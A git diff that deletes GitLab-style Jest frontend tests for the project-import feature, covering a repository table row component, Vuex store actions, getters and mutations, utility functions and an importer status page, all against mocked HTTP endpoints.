- getImportTarget: () => () => fakeImportTarget,
- },
- actions: { fetchImport, setImportTarget },
- });
-
- return store;
- }
-
- const findImportButton = () => {
- const buttons = wrapper.findAll('button').filter(node => node.text() === 'Import');
-
- return buttons.length ? buttons.at(0) : buttons;
- };
-
- function mountComponent(props) {
- const localVue = createLocalVue();
- localVue.use(Vuex);
-
- const store = initStore();
-
- wrapper = shallowMount(ProviderRepoTableRow, {
- localVue,
- store,
- propsData: { availableNamespaces, ...props },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- describe('when rendering importable project', () => {
- const repo = {
- importSource: {
- id: 'remote-1',
- fullName: 'fullName',
- providerLink: 'providerLink',
- },
- };
-
- beforeEach(() => {
- mountComponent({ repo });
- });
-
- it('renders project information', () => {
- const providerLink = wrapper.find('[data-testid=providerLink]');
-
- expect(providerLink.attributes().href).toMatch(repo.importSource.providerLink);
- expect(providerLink.text()).toMatch(repo.importSource.fullName);
- });
-
- it('renders empty import status', () => {
- expect(wrapper.find(ImportStatus).props().status).toBe(STATUSES.NONE);
- });
-
- it('renders a select2 namespace select', () => {
- expect(wrapper.find(Select2Select).exists()).toBe(true);
- expect(wrapper.find(Select2Select).props().options.data).toBe(availableNamespaces);
- });
-
- it('renders import button', () => {
- expect(findImportButton().exists()).toBe(true);
- });
-
- it('imports repo when clicking import button', async () => {
- findImportButton().trigger('click');
-
- await nextTick();
-
- const { calls } = fetchImport.mock;
-
- expect(calls).toHaveLength(1);
- expect(calls[0][1]).toBe(repo.importSource.id);
- });
- });
-
- describe('when rendering imported project', () => {
- const repo = {
- importSource: {
- id: 'remote-1',
- fullName: 'fullName',
- providerLink: 'providerLink',
- },
- importedProject: {
- id: 1,
- fullPath: 'fullPath',
- importSource: 'importSource',
- importStatus: STATUSES.FINISHED,
- },
- };
-
- beforeEach(() => {
- mountComponent({ repo });
- });
-
- it('renders project information', () => {
- const providerLink = wrapper.find('[data-testid=providerLink]');
-
- expect(providerLink.attributes().href).toMatch(repo.importSource.providerLink);
- expect(providerLink.text()).toMatch(repo.importSource.fullName);
- });
-
- it('renders proper import status', () => {
- expect(wrapper.find(ImportStatus).props().status).toBe(repo.importedProject.importStatus);
- });
-
- it('does not renders a namespace select', () => {
- expect(wrapper.find(Select2Select).exists()).toBe(false);
- });
-
- it('does not render import button', () => {
- expect(findImportButton().exists()).toBe(false);
- });
- });
-
- describe('when rendering incompatible project', () => {
- const repo = {
- importSource: {
- id: 'remote-1',
- fullName: 'fullName',
- providerLink: 'providerLink',
- incompatible: true,
- },
- };
-
- beforeEach(() => {
- mountComponent({ repo });
- });
-
- it('renders project information', () => {
- const providerLink = wrapper.find('[data-testid=providerLink]');
-
- expect(providerLink.attributes().href).toMatch(repo.importSource.providerLink);
- expect(providerLink.text()).toMatch(repo.importSource.fullName);
- });
-
- it('renders badge with error', () => {
- expect(wrapper.find(GlBadge).text()).toBe('Incompatible project');
- });
- });
-});
diff --git a/spec/frontend/import_projects/store/actions_spec.js b/spec/frontend/import_projects/store/actions_spec.js
deleted file mode 100644
index 06afb20c6a2..00000000000
--- a/spec/frontend/import_projects/store/actions_spec.js
+++ /dev/null
@@ -1,398 +0,0 @@
-import MockAdapter from 'axios-mock-adapter';
-import testAction from 'helpers/vuex_action_helper';
-import { TEST_HOST } from 'helpers/test_constants';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
-import axios from '~/lib/utils/axios_utils';
-import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
-import {
- REQUEST_REPOS,
- RECEIVE_REPOS_SUCCESS,
- RECEIVE_REPOS_ERROR,
- REQUEST_IMPORT,
- RECEIVE_IMPORT_SUCCESS,
- RECEIVE_IMPORT_ERROR,
- RECEIVE_JOBS_SUCCESS,
- REQUEST_NAMESPACES,
- RECEIVE_NAMESPACES_SUCCESS,
- RECEIVE_NAMESPACES_ERROR,
- SET_PAGE,
- SET_FILTER,
-} from '~/import_projects/store/mutation_types';
-import actionsFactory from '~/import_projects/store/actions';
-import { getImportTarget } from '~/import_projects/store/getters';
-import state from '~/import_projects/store/state';
-import { STATUSES } from '~/import_projects/constants';
-
-jest.mock('~/flash');
-
-const MOCK_ENDPOINT = `${TEST_HOST}/endpoint.json`;
-const endpoints = {
- reposPath: MOCK_ENDPOINT,
- importPath: MOCK_ENDPOINT,
- jobsPath: MOCK_ENDPOINT,
- namespacesPath: MOCK_ENDPOINT,
-};
-
-const {
- clearJobsEtagPoll,
- stopJobsPolling,
- importAll,
- fetchRepos,
- fetchImport,
- fetchJobs,
- fetchNamespaces,
- setFilter,
-} = actionsFactory({
- endpoints,
-});
-
-describe('import_projects store actions', () => {
- let localState;
- const importRepoId = 1;
- const otherImportRepoId = 2;
- const defaultTargetNamespace = 'default';
- const sanitizedName = 'sanitizedName';
- const defaultImportTarget = { newName: sanitizedName, targetNamespace: defaultTargetNamespace };
-
- beforeEach(() => {
- localState = {
- ...state(),
- defaultTargetNamespace,
- repositories: [
- { importSource: { id: importRepoId, sanitizedName }, importStatus: STATUSES.NONE },
- {
- importSource: { id: otherImportRepoId, sanitizedName: 's2' },
- importStatus: STATUSES.NONE,
- },
- {
- importSource: { id: 3, sanitizedName: 's3', incompatible: true },
- importStatus: STATUSES.NONE,
- },
- ],
- provider: 'provider',
- };
-
- localState.getImportTarget = getImportTarget(localState);
- });
-
- describe('fetchRepos', () => {
- let mock;
- const payload = { imported_projects: [{}], provider_repos: [{}] };
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- });
-
- afterEach(() => mock.restore());
-
- it('commits SET_PAGE, REQUEST_REPOS, RECEIVE_REPOS_SUCCESS mutations on a successful request', () => {
- mock.onGet(MOCK_ENDPOINT).reply(200, payload);
-
- return testAction(
- fetchRepos,
- null,
- localState,
- [
- { type: SET_PAGE, payload: 1 },
- { type: REQUEST_REPOS },
- {
- type: RECEIVE_REPOS_SUCCESS,
- payload: convertObjectPropsToCamelCase(payload, { deep: true }),
- },
- ],
- [],
- );
- });
-
- it('commits SET_PAGE, REQUEST_REPOS, RECEIVE_REPOS_ERROR and SET_PAGE again mutations on an unsuccessful request', () => {
- mock.onGet(MOCK_ENDPOINT).reply(500);
-
- return testAction(
- fetchRepos,
- null,
- localState,
- [
- { type: SET_PAGE, payload: 1 },
- { type: REQUEST_REPOS },
- { type: SET_PAGE, payload: 0 },
- { type: RECEIVE_REPOS_ERROR },
- ],
- [],
- );
- });
-
- it('includes page in url query params', async () => {
- let requestedUrl;
- mock.onGet().reply(config => {
- requestedUrl = config.url;
- return [200, payload];
- });
-
- const localStateWithPage = { ...localState, pageInfo: { page: 2 } };
-
- await testAction(fetchRepos, null, localStateWithPage, expect.any(Array), expect.any(Array));
-
- expect(requestedUrl).toBe(`${MOCK_ENDPOINT}?page=${localStateWithPage.pageInfo.page + 1}`);
- });
-
- it('correctly updates current page on an unsuccessful request', () => {
- mock.onGet(MOCK_ENDPOINT).reply(500);
- const CURRENT_PAGE = 5;
-
- return testAction(
- fetchRepos,
- null,
- { ...localState, pageInfo: { page: CURRENT_PAGE } },
- expect.arrayContaining([
- { type: SET_PAGE, payload: CURRENT_PAGE + 1 },
- { type: SET_PAGE, payload: CURRENT_PAGE },
- ]),
- [],
- );
- });
-
- describe('when rate limited', () => {
- it('commits RECEIVE_REPOS_ERROR and shows rate limited error message', async () => {
- mock.onGet(`${TEST_HOST}/endpoint.json?filter=filter`).reply(429);
-
- await testAction(
- fetchRepos,
- null,
- { ...localState, filter: 'filter' },
- [
- { type: SET_PAGE, payload: 1 },
- { type: REQUEST_REPOS },
- { type: SET_PAGE, payload: 0 },
- { type: RECEIVE_REPOS_ERROR },
- ],
- [],
- );
-
- expect(createFlash).toHaveBeenCalledWith('Provider rate limit exceeded. Try again later');
- });
- });
-
- describe('when filtered', () => {
- it('fetches repos with filter applied', () => {
- mock.onGet(`${TEST_HOST}/endpoint.json?filter=filter`).reply(200, payload);
-
- return testAction(
- fetchRepos,
- null,
- { ...localState, filter: 'filter' },
- [
- { type: SET_PAGE, payload: 1 },
- { type: REQUEST_REPOS },
- {
- type: RECEIVE_REPOS_SUCCESS,
- payload: convertObjectPropsToCamelCase(payload, { deep: true }),
- },
- ],
- [],
- );
- });
- });
- });
-
- describe('fetchImport', () => {
- let mock;
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- });
-
- afterEach(() => mock.restore());
-
- it('commits REQUEST_IMPORT and REQUEST_IMPORT_SUCCESS mutations on a successful request', () => {
- const importedProject = { name: 'imported/project' };
- mock.onPost(MOCK_ENDPOINT).reply(200, importedProject);
-
- return testAction(
- fetchImport,
- importRepoId,
- localState,
- [
- {
- type: REQUEST_IMPORT,
- payload: { repoId: importRepoId, importTarget: defaultImportTarget },
- },
- {
- type: RECEIVE_IMPORT_SUCCESS,
- payload: {
- importedProject: convertObjectPropsToCamelCase(importedProject, { deep: true }),
- repoId: importRepoId,
- },
- },
- ],
- [],
- );
- });
-
- it('commits REQUEST_IMPORT and RECEIVE_IMPORT_ERROR and shows generic error message on an unsuccessful request', async () => {
- mock.onPost(MOCK_ENDPOINT).reply(500);
-
- await testAction(
- fetchImport,
- importRepoId,
- localState,
- [
- {
- type: REQUEST_IMPORT,
- payload: { repoId: importRepoId, importTarget: defaultImportTarget },
- },
- { type: RECEIVE_IMPORT_ERROR, payload: importRepoId },
- ],
- [],
- );
-
- expect(createFlash).toHaveBeenCalledWith('Importing the project failed');
- });
-
- it('commits REQUEST_IMPORT and RECEIVE_IMPORT_ERROR and shows detailed error message on an unsuccessful request with errors fields in response', async () => {
- const ERROR_MESSAGE = 'dummy';
- mock.onPost(MOCK_ENDPOINT).reply(500, { errors: ERROR_MESSAGE });
-
- await testAction(
- fetchImport,
- importRepoId,
- localState,
- [
- {
- type: REQUEST_IMPORT,
- payload: { repoId: importRepoId, importTarget: defaultImportTarget },
- },
- { type: RECEIVE_IMPORT_ERROR, payload: importRepoId },
- ],
- [],
- );
-
- expect(createFlash).toHaveBeenCalledWith(`Importing the project failed: ${ERROR_MESSAGE}`);
- });
- });
-
- describe('fetchJobs', () => {
- let mock;
- const updatedProjects = [{ name: 'imported/project' }, { name: 'provider/repo' }];
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- });
-
- afterEach(() => {
- stopJobsPolling();
- clearJobsEtagPoll();
- });
-
- afterEach(() => mock.restore());
-
- it('commits RECEIVE_JOBS_SUCCESS mutation on a successful request', async () => {
- mock.onGet(MOCK_ENDPOINT).reply(200, updatedProjects);
-
- await testAction(
- fetchJobs,
- null,
- localState,
- [
- {
- type: RECEIVE_JOBS_SUCCESS,
- payload: convertObjectPropsToCamelCase(updatedProjects, { deep: true }),
- },
- ],
- [],
- );
- });
-
- describe('when filtered', () => {
- beforeEach(() => {
- localState.filter = 'filter';
- });
-
- it('fetches realtime changes with filter applied', () => {
- mock.onGet(`${TEST_HOST}/endpoint.json?filter=filter`).reply(200, updatedProjects);
-
- return testAction(
- fetchJobs,
- null,
- localState,
- [
- {
- type: RECEIVE_JOBS_SUCCESS,
- payload: convertObjectPropsToCamelCase(updatedProjects, { deep: true }),
- },
- ],
- [],
- );
- });
- });
- });
-
- describe('fetchNamespaces', () => {
- let mock;
- const namespaces = [{ full_name: 'test/ns1' }, { full_name: 'test_ns2' }];
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- });
-
- afterEach(() => mock.restore());
-
- it('commits REQUEST_NAMESPACES and RECEIVE_NAMESPACES_SUCCESS on success', async () => {
- mock.onGet(MOCK_ENDPOINT).reply(200, namespaces);
-
- await testAction(
- fetchNamespaces,
- null,
- localState,
- [
- { type: REQUEST_NAMESPACES },
- {
- type: RECEIVE_NAMESPACES_SUCCESS,
- payload: convertObjectPropsToCamelCase(namespaces, { deep: true }),
- },
- ],
- [],
- );
- });
-
- it('commits REQUEST_NAMESPACES and RECEIVE_NAMESPACES_ERROR and shows generic error message on an unsuccessful request', async () => {
- mock.onGet(MOCK_ENDPOINT).reply(500);
-
- await testAction(
- fetchNamespaces,
- null,
- localState,
- [{ type: REQUEST_NAMESPACES }, { type: RECEIVE_NAMESPACES_ERROR }],
- [],
- );
-
- expect(createFlash).toHaveBeenCalledWith('Requesting namespaces failed');
- });
- });
-
- describe('importAll', () => {
- it('dispatches multiple fetchImport actions', async () => {
- await testAction(
- importAll,
- null,
- localState,
- [],
- [
- { type: 'fetchImport', payload: importRepoId },
- { type: 'fetchImport', payload: otherImportRepoId },
- ],
- );
- });
- });
-
- describe('setFilter', () => {
- it('dispatches sets the filter value and dispatches fetchRepos', async () => {
- await testAction(
- setFilter,
- 'filteredRepo',
- localState,
- [{ type: SET_FILTER, payload: 'filteredRepo' }],
- [{ type: 'fetchRepos' }],
- );
- });
- });
-});
diff --git a/spec/frontend/import_projects/store/getters_spec.js b/spec/frontend/import_projects/store/getters_spec.js
deleted file mode 100644
index 1ce42e534ea..00000000000
--- a/spec/frontend/import_projects/store/getters_spec.js
+++ /dev/null
@@ -1,135 +0,0 @@
-import {
- isLoading,
- isImportingAnyRepo,
- hasIncompatibleRepos,
- hasImportableRepos,
- importAllCount,
- getImportTarget,
-} from '~/import_projects/store/getters';
-import { STATUSES } from '~/import_projects/constants';
-import state from '~/import_projects/store/state';
-
-const IMPORTED_REPO = {
- importSource: {},
- importedProject: { fullPath: 'some/path', importStatus: STATUSES.FINISHED },
-};
-
-const IMPORTABLE_REPO = {
- importSource: { id: 'some-id', sanitizedName: 'sanitized' },
- importedProject: null,
-};
-
-const INCOMPATIBLE_REPO = {
- importSource: { incompatible: true },
-};
-
-describe('import_projects store getters', () => {
- let localState;
-
- beforeEach(() => {
- localState = state();
- });
-
- it.each`
- isLoadingRepos | isLoadingNamespaces | isLoadingValue
- ${false} | ${false} | ${false}
- ${true} | ${false} | ${true}
- ${false} | ${true} | ${true}
- ${true} | ${true} | ${true}
- `(
- 'isLoading returns $isLoadingValue when isLoadingRepos is $isLoadingRepos and isLoadingNamespaces is $isLoadingNamespaces',
- ({ isLoadingRepos, isLoadingNamespaces, isLoadingValue }) => {
- Object.assign(localState, {
- isLoadingRepos,
- isLoadingNamespaces,
- });
-
- expect(isLoading(localState)).toBe(isLoadingValue);
- },
- );
-
- it.each`
- importStatus | value
- ${STATUSES.NONE} | ${false}
- ${STATUSES.SCHEDULING} | ${true}
- ${STATUSES.SCHEDULED} | ${true}
- ${STATUSES.STARTED} | ${true}
- ${STATUSES.FINISHED} | ${false}
- `(
- 'isImportingAnyRepo returns $value when project with $importStatus status is available',
- ({ importStatus, value }) => {
- localState.repositories = [{ importedProject: { importStatus } }];
-
- expect(isImportingAnyRepo(localState)).toBe(value);
- },
- );
-
- it('isImportingAnyRepo returns false when project with no defined importStatus status is available', () => {
- localState.repositories = [{ importSource: {} }];
-
- expect(isImportingAnyRepo(localState)).toBe(false);
- });
-
- describe('hasIncompatibleRepos', () => {
- it('returns true if there are any incompatible projects', () => {
- localState.repositories = [IMPORTABLE_REPO, IMPORTED_REPO, INCOMPATIBLE_REPO];
-
- expect(hasIncompatibleRepos(localState)).toBe(true);
- });
-
- it('returns false if there are no incompatible projects', () => {
- localState.repositories = [IMPORTABLE_REPO, IMPORTED_REPO];
-
- expect(hasIncompatibleRepos(localState)).toBe(false);
- });
- });
-
- describe('hasImportableRepos', () => {
- it('returns true if there are any importable projects ', () => {
- localState.repositories = [IMPORTABLE_REPO, IMPORTED_REPO, INCOMPATIBLE_REPO];
-
- expect(hasImportableRepos(localState)).toBe(true);
- });
-
- it('returns false if there are no importable projects', () => {
- localState.repositories = [IMPORTED_REPO, INCOMPATIBLE_REPO];
-
- expect(hasImportableRepos(localState)).toBe(false);
- });
- });
-
- describe('importAllCount', () => {
- it('returns count of available importable projects ', () => {
- localState.repositories = [
- IMPORTABLE_REPO,
- IMPORTABLE_REPO,
- IMPORTED_REPO,
- INCOMPATIBLE_REPO,
- ];
-
- expect(importAllCount(localState)).toBe(2);
- });
- });
-
- describe('getImportTarget', () => {
- it('returns default value if no custom target available', () => {
- localState.defaultTargetNamespace = 'default';
- localState.repositories = [IMPORTABLE_REPO];
-
- expect(getImportTarget(localState)(IMPORTABLE_REPO.importSource.id)).toStrictEqual({
- newName: IMPORTABLE_REPO.importSource.sanitizedName,
- targetNamespace: localState.defaultTargetNamespace,
- });
- });
-
- it('returns custom import target if available', () => {
- const fakeTarget = { newName: 'something', targetNamespace: 'ns' };
- localState.repositories = [IMPORTABLE_REPO];
- localState.customImportTargets[IMPORTABLE_REPO.importSource.id] = fakeTarget;
-
- expect(getImportTarget(localState)(IMPORTABLE_REPO.importSource.id)).toStrictEqual(
- fakeTarget,
- );
- });
- });
-});
diff --git a/spec/frontend/import_projects/store/mutations_spec.js b/spec/frontend/import_projects/store/mutations_spec.js
deleted file mode 100644
index 5d78a7fa9e7..00000000000
--- a/spec/frontend/import_projects/store/mutations_spec.js
+++ /dev/null
@@ -1,319 +0,0 @@
-import * as types from '~/import_projects/store/mutation_types';
-import mutations from '~/import_projects/store/mutations';
-import getInitialState from '~/import_projects/store/state';
-import { STATUSES } from '~/import_projects/constants';
-
-describe('import_projects store mutations', () => {
- let state;
-
- const SOURCE_PROJECT = {
- id: 1,
- full_name: 'full/name',
- sanitized_name: 'name',
- provider_link: 'https://demo.link/full/name',
- };
- const IMPORTED_PROJECT = {
- name: 'demo',
- importSource: 'something',
- providerLink: 'custom-link',
- importStatus: 'status',
- fullName: 'fullName',
- };
-
- describe(`${types.SET_FILTER}`, () => {
- const NEW_VALUE = 'new-value';
-
- beforeEach(() => {
- state = {
- filter: 'some-value',
- repositories: ['some', ' repositories'],
- pageInfo: { page: 1 },
- };
- mutations[types.SET_FILTER](state, NEW_VALUE);
- });
-
- it('removes current repositories list', () => {
- expect(state.repositories.length).toBe(0);
- });
-
- it('resets current page to 0', () => {
- expect(state.pageInfo.page).toBe(0);
- });
- });
-
- describe(`${types.REQUEST_REPOS}`, () => {
- it('sets repos loading flag to true', () => {
- state = {};
-
- mutations[types.REQUEST_REPOS](state);
-
- expect(state.isLoadingRepos).toBe(true);
- });
- });
-
- describe(`${types.RECEIVE_REPOS_SUCCESS}`, () => {
- describe('with legacy response format', () => {
- describe('for imported projects', () => {
- const response = {
- importedProjects: [IMPORTED_PROJECT],
- providerRepos: [],
- };
-
- it('recreates importSource from response', () => {
- state = getInitialState();
-
- mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
-
- expect(state.repositories[0].importSource).toStrictEqual(
- expect.objectContaining({
- fullName: IMPORTED_PROJECT.importSource,
- sanitizedName: IMPORTED_PROJECT.name,
- providerLink: IMPORTED_PROJECT.providerLink,
- }),
- );
- });
-
- it('passes project to importProject', () => {
- state = getInitialState();
-
- mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
-
- expect(IMPORTED_PROJECT).toStrictEqual(
- expect.objectContaining(state.repositories[0].importedProject),
- );
- });
- });
-
- describe('for importable projects', () => {
- beforeEach(() => {
- state = getInitialState();
-
- const response = {
- importedProjects: [],
- providerRepos: [SOURCE_PROJECT],
- };
- mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
- });
-
- it('sets importSource to project', () => {
- expect(state.repositories[0].importSource).toBe(SOURCE_PROJECT);
- });
- });
-
- describe('for incompatible projects', () => {
- const response = {
- importedProjects: [],
- providerRepos: [],
- incompatibleRepos: [SOURCE_PROJECT],
- };
-
- beforeEach(() => {
- state = getInitialState();
- mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
- });
-
- it('sets incompatible flag', () => {
- expect(state.repositories[0].importSource.incompatible).toBe(true);
- });
-
- it('sets importSource to project', () => {
- expect(state.repositories[0].importSource).toStrictEqual(
- expect.objectContaining(SOURCE_PROJECT),
- );
- });
- });
-
- it('sets repos loading flag to false', () => {
- const response = {
- importedProjects: [],
- providerRepos: [],
- };
-
- state = getInitialState();
-
- mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
-
- expect(state.isLoadingRepos).toBe(false);
- });
- });
-
- it('passes response as it is', () => {
- const response = [];
- state = getInitialState();
-
- mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
-
- expect(state.repositories).toStrictEqual(response);
- });
-
- it('sets repos loading flag to false', () => {
- const response = [];
-
- state = getInitialState();
-
- mutations[types.RECEIVE_REPOS_SUCCESS](state, response);
-
- expect(state.isLoadingRepos).toBe(false);
- });
- });
-
- describe(`${types.RECEIVE_REPOS_ERROR}`, () => {
- it('sets repos loading flag to false', () => {
- state = getInitialState();
-
- mutations[types.RECEIVE_REPOS_ERROR](state);
-
- expect(state.isLoadingRepos).toBe(false);
- });
- });
-
- describe(`${types.REQUEST_IMPORT}`, () => {
- beforeEach(() => {
- const REPO_ID = 1;
- const importTarget = { targetNamespace: 'ns', newName: 'name ' };
- state = { repositories: [{ importSource: { id: REPO_ID } }] };
-
- mutations[types.REQUEST_IMPORT](state, { repoId: REPO_ID, importTarget });
- });
-
- it(`sets status to ${STATUSES.SCHEDULING}`, () => {
- expect(state.repositories[0].importedProject.importStatus).toBe(STATUSES.SCHEDULING);
- });
- });
-
- describe(`${types.RECEIVE_IMPORT_SUCCESS}`, () => {
- beforeEach(() => {
- const REPO_ID = 1;
- state = { repositories: [{ importSource: { id: REPO_ID } }] };
-
- mutations[types.RECEIVE_IMPORT_SUCCESS](state, {
- repoId: REPO_ID,
- importedProject: IMPORTED_PROJECT,
- });
- });
-
- it('sets import status', () => {
- expect(state.repositories[0].importedProject.importStatus).toBe(
- IMPORTED_PROJECT.importStatus,
- );
- });
-
- it('sets imported project', () => {
- expect(IMPORTED_PROJECT).toStrictEqual(
- expect.objectContaining(state.repositories[0].importedProject),
- );
- });
- });
-
- describe(`${types.RECEIVE_IMPORT_ERROR}`, () => {
- beforeEach(() => {
- const REPO_ID = 1;
- state = { repositories: [{ importSource: { id: REPO_ID } }] };
-
- mutations[types.RECEIVE_IMPORT_ERROR](state, REPO_ID);
- });
-
- it(`removes importedProject entry`, () => {
- expect(state.repositories[0].importedProject).toBeNull();
- });
- });
-
- describe(`${types.RECEIVE_JOBS_SUCCESS}`, () => {
- it('updates import status of existing project', () => {
- const repoId = 1;
- state = {
- repositories: [{ importedProject: { id: repoId }, importStatus: STATUSES.STARTED }],
- };
- const updatedProjects = [{ id: repoId, importStatus: STATUSES.FINISHED }];
-
- mutations[types.RECEIVE_JOBS_SUCCESS](state, updatedProjects);
-
- expect(state.repositories[0].importedProject.importStatus).toBe(
- updatedProjects[0].importStatus,
- );
- });
- });
-
- describe(`${types.REQUEST_NAMESPACES}`, () => {
- it('sets namespaces loading flag to true', () => {
- state = {};
-
- mutations[types.REQUEST_NAMESPACES](state);
-
- expect(state.isLoadingNamespaces).toBe(true);
- });
- });
-
- describe(`${types.RECEIVE_NAMESPACES_SUCCESS}`, () => {
- const response = [{ fullPath: 'some/path' }];
-
- beforeEach(() => {
- state = {};
- mutations[types.RECEIVE_NAMESPACES_SUCCESS](state, response);
- });
-
- it('stores namespaces to state', () => {
- expect(state.namespaces).toStrictEqual(response);
- });
-
- it('sets namespaces loading flag to false', () => {
- expect(state.isLoadingNamespaces).toBe(false);
- });
- });
-
- describe(`${types.RECEIVE_NAMESPACES_ERROR}`, () => {
- it('sets namespaces loading flag to false', () => {
- state = {};
-
- mutations[types.RECEIVE_NAMESPACES_ERROR](state);
-
- expect(state.isLoadingNamespaces).toBe(false);
- });
- });
-
- describe(`${types.SET_IMPORT_TARGET}`, () => {
- const PROJECT = {
- id: 2,
- sanitizedName: 'sanitizedName',
- };
-
- it('stores custom target if it differs from defaults', () => {
- state = { customImportTargets: {}, repositories: [{ importSource: PROJECT }] };
- const importTarget = { targetNamespace: 'ns', newName: 'name ' };
-
- mutations[types.SET_IMPORT_TARGET](state, { repoId: PROJECT.id, importTarget });
- expect(state.customImportTargets[PROJECT.id]).toBe(importTarget);
- });
-
- it('removes custom target if it is equal to defaults', () => {
- const importTarget = { targetNamespace: 'ns', newName: 'name ' };
- state = {
- defaultTargetNamespace: 'default',
- customImportTargets: {
- [PROJECT.id]: importTarget,
- },
- repositories: [{ importSource: PROJECT }],
- };
-
- mutations[types.SET_IMPORT_TARGET](state, {
- repoId: PROJECT.id,
- importTarget: {
- targetNamespace: state.defaultTargetNamespace,
- newName: PROJECT.sanitizedName,
- },
- });
-
- expect(state.customImportTargets[SOURCE_PROJECT.id]).toBeUndefined();
- });
- });
-
- describe(`${types.SET_PAGE}`, () => {
- it('sets page number', () => {
- const NEW_PAGE = 4;
- state = { pageInfo: { page: 5 } };
-
- mutations[types.SET_PAGE](state, NEW_PAGE);
- expect(state.pageInfo.page).toBe(NEW_PAGE);
- });
- });
-});
diff --git a/spec/frontend/import_projects/utils_spec.js b/spec/frontend/import_projects/utils_spec.js
deleted file mode 100644
index 4e1e16a3184..00000000000
--- a/spec/frontend/import_projects/utils_spec.js
+++ /dev/null
@@ -1,65 +0,0 @@
-import { isProjectImportable, isIncompatible, getImportStatus } from '~/import_projects/utils';
-import { STATUSES } from '~/import_projects/constants';
-
-describe('import_projects utils', () => {
- const COMPATIBLE_PROJECT = {
- importSource: { incompatible: false },
- };
-
- const INCOMPATIBLE_PROJECT = {
- importSource: { incompatible: true },
- importedProject: null,
- };
-
- describe('isProjectImportable', () => {
- it.each`
- status | result
- ${STATUSES.FINISHED} | ${false}
- ${STATUSES.FAILED} | ${false}
- ${STATUSES.SCHEDULED} | ${false}
- ${STATUSES.STARTED} | ${false}
- ${STATUSES.NONE} | ${true}
- ${STATUSES.SCHEDULING} | ${false}
- `('returns $result when project is compatible and status is $status', ({ status, result }) => {
- expect(
- isProjectImportable({
- ...COMPATIBLE_PROJECT,
- importedProject: { importStatus: status },
- }),
- ).toBe(result);
- });
-
- it('returns true if import status is not defined', () => {
- expect(isProjectImportable({ importSource: {} })).toBe(true);
- });
-
- it('returns false if project is not compatible', () => {
- expect(isProjectImportable(INCOMPATIBLE_PROJECT)).toBe(false);
- });
- });
-
- describe('isIncompatible', () => {
- it('returns true for incompatible project', () => {
- expect(isIncompatible(INCOMPATIBLE_PROJECT)).toBe(true);
- });
-
- it('returns false for compatible project', () => {
- expect(isIncompatible(COMPATIBLE_PROJECT)).toBe(false);
- });
- });
-
- describe('getImportStatus', () => {
- it('returns actual status when project status is provided', () => {
- expect(
- getImportStatus({
- ...COMPATIBLE_PROJECT,
- importedProject: { importStatus: STATUSES.FINISHED },
- }),
- ).toBe(STATUSES.FINISHED);
- });
-
- it('returns NONE as status if import status is not provided', () => {
- expect(getImportStatus(COMPATIBLE_PROJECT)).toBe(STATUSES.NONE);
- });
- });
-});
diff --git a/spec/frontend/importer_status_spec.js b/spec/frontend/importer_status_spec.js
deleted file mode 100644
index 4ef74a2fe84..00000000000
--- a/spec/frontend/importer_status_spec.js
+++ /dev/null
@@ -1,141 +0,0 @@
-import MockAdapter from 'axios-mock-adapter';
-import { ImporterStatus } from '~/importer_status';
-import axios from '~/lib/utils/axios_utils';
-
-describe('Importer Status', () => {
- let instance;
- let mock;
-
- beforeEach(() => {
- mock = new MockAdapter(axios);
- });
-
- afterEach(() => {
- mock.restore();
- });
-
- describe('addToImport', () => {
- const importUrl = '/import_url';
- const fixtures = `
- <table>
- <tr id="repo_123">
- <td class="import-target"></td>
- <td class="import-actions job-status">
- <button name="button" type="submit" class="btn btn-import js-add-to-import">
- </button>
- </td>
- </tr>
- </table>
- `;
-
- beforeEach(() => {
- setFixtures(fixtures);
- jest.spyOn(ImporterStatus.prototype, 'initStatusPage').mockImplementation(() => {});
- jest.spyOn(ImporterStatus.prototype, 'setAutoUpdate').mockImplementation(() => {});
- instance = new ImporterStatus({
- jobsUrl: '',
- importUrl,
- });
- });
-
- it('sets table row to active after post request', done => {
- mock.onPost(importUrl).reply(200, {
- id: 1,
- full_path: '/full_path',
- });
-
- instance
- .addToImport({
- currentTarget: document.querySelector('.js-add-to-import'),
- })
- .then(() => {
- expect(document.querySelector('tr').classList.contains('table-active')).toEqual(true);
- done();
- })
- .catch(done.fail);
- });
-
- it('shows error message after failed POST request', done => {
- setFixtures(`${fixtures}<div class="flash-container"></div>`);
-
- mock.onPost(importUrl).reply(422, {
- errors: 'You forgot your lunch',
- });
-
- instance
- .addToImport({
- currentTarget: document.querySelector('.js-add-to-import'),
- })
- .then(() => {
- const flashMessage = document.querySelector('.flash-text');
-
- expect(flashMessage.textContent.trim()).toEqual(
- 'An error occurred while importing project: You forgot your lunch',
- );
- done();
- })
- .catch(done.fail);
- });
- });
-
- describe('autoUpdate', () => {
- const jobsUrl = '/jobs_url';
-
- beforeEach(() => {
- const div = document.createElement('div');
- div.innerHTML = `
- <div id="project_1">
- <div class="job-status">
- </div>
- </div>
- `;
-
- document.body.appendChild(div);
-
- jest.spyOn(ImporterStatus.prototype, 'initStatusPage').mockImplementation(() => {});
- jest.spyOn(ImporterStatus.prototype, 'setAutoUpdate').mockImplementation(() => {});
- instance = new ImporterStatus({
- jobsUrl,
- });
- });
-
- function setupMock(importStatus) {
- mock.onGet(jobsUrl).reply(200, [
- {
- id: 1,
- import_status: importStatus,
- },
- ]);
- }
-
- function expectJobStatus(done, status) {
- instance
- .autoUpdate()
- .then(() => {
- expect(document.querySelector('#project_1').innerText.trim()).toEqual(status);
- done();
- })
- .catch(done.fail);
- }
-
- it('sets the job status to done', done => {
- setupMock('finished');
- expectJobStatus(done, 'Done');
- });
-
- it('sets the job status to scheduled', done => {
- setupMock('scheduled');
- expectJobStatus(done, 'Scheduled');
- });
-
- it('sets the job status to started', done => {
- setupMock('started');
- expectJobStatus(done, 'Started');
- });
-
- it('sets the job status to custom status', done => {
- setupMock('custom status');
- expectJobStatus(done, 'custom status');
- });
- });
-});
